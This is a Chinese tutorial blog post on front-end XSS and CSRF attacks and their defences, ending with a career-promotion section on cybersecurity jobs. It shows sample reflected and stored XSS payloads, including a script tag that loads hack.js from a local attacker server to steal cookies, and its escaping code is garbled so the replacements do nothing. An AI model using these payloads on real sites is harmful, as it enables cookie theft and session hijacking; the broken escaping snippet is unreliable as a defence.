前端常见的Web攻击【XSS、CSRF】

程序员小肖

已于 2024-01-16 21:22:45 修改

阅读量975

点赞数 21

文章标签：前端 xss csrf

于 2024-01-03 08:53:38 首次发布

本文链接：https://blog.csdn.net/qq_53058639/article/details/135354553

版权

1、XSS（Corss Site Scripting,跨站脚本攻击)

通过存在的安全漏洞的web网址用户的浏览器内运行非法的本站点的HTML标签或者JS的一种方式。换句话来说，就是在该页面内运行不是该页面的js或者html代码的一种攻击。

XSS的脚本攻击的影响：
1、利用虚假的表单信息骗取用户个人信息
2、利利⽤用脚本窃取⽤用户的Cookie值，被害者在不不知情的情况下，帮助攻击者发送恶意请求。
3、显示伪造的图片或者文章

1、XSS攻击的分类

1、反射型：url参数直接注入

例子1：
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="

2、存储型：存储到DB后读取注入

// 评论
<script>alert(1)</script>
// 跨站脚本注⼊入
我来了了<script src="http://localhost:4000/hack.js"></script>

2、XSS攻击的危害[想干啥就干啥]

1、获取页面数据
2、获取Cookies
3、劫取前端逻辑
4、发送请求
5、偷取网站的资料和用户的资料
6、偷取用户的秘密和登录态
7、欺骗用户

3、XSS攻击如何防范

1、CSP(Content Security Policy,安全攻击策略) 是一个附加的安全层。本质上就是建立白名单，开发者明确的告诉浏览器哪些外部资源可以加载和执行。开发者只需要配置规则，如何拦截就靠浏览器执行，可以通过这种方式减少XSS攻击。

①Content-Security-Policy: default-src ‘self’：只允许加载本站资源* ②Content-Security-Policy: img-src https://* :只允许加载HTTPS协议图片* ③Content-Security-Policy: child-src ‘none’ :不允许加载任何来源框架用法：在head中加入meta标签，<meta http-equiv="Content-Security-Policy" content="script-src 'self'"/>> 2、转义
1、黑名单:用户的输入有千千万万，可以对尖括号、斜杠、引号进行转义。str = str.replace(/&/g, '&')str = str.replace(/</g, '<')str = str.replace(/>/g, '>')str = str.replace(/"/g, '&quto;')str = str.replace(/'/g, ''')str = str.replace(/`/g, '`')str = str.replace(/\//g, '/') 但是这里有一个问题，如果提交的是一个富文本的情况下，就不能用转义方法。虽然说可以采用上述黑名单的方式进行过滤，但是如果过滤的标签和属性太多的情况下，推荐使用白名单的方式。* 2、白名单：一般情况下会引入xss库const xss = require('xss')let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')console.log(html) //<h1>XSS Demo</h1><script>alert("xss");</script> 3、HttpOnly Cookie 这种方法是预防XSS攻击获取Cookie的最佳解决办法，Web程序在设置Cookie的时候，将其属性设置为HttpOnly就可以避免该⽹网⻚页的cookie被客户端恶意JavaScript窃取，保护⽤用户cookie信息。

2、CSRF(Cross Site Request Forgery,跨站请求伪造)

是一种常⻅见的Web攻击，它利利⽤用⽤用户已登录的身份，在⽤用户毫不不知情的情况下，以⽤用户的名义完成⾮非法操作。这个攻击的前提是用户必须在攻击网站有登录数据。

1、如何避免CSRF攻击

从而可以进行相关操作" style=“margin: auto” />

1、如何避免CSRF攻击

1、使用token:每次登录都需要上传token。* 2、隐藏令牌：类似cookie，但是可以隐藏在请求头中* 3、referer验证：判断页面来源，如果是安全的则执行，不安全则不执行## 题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；

国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。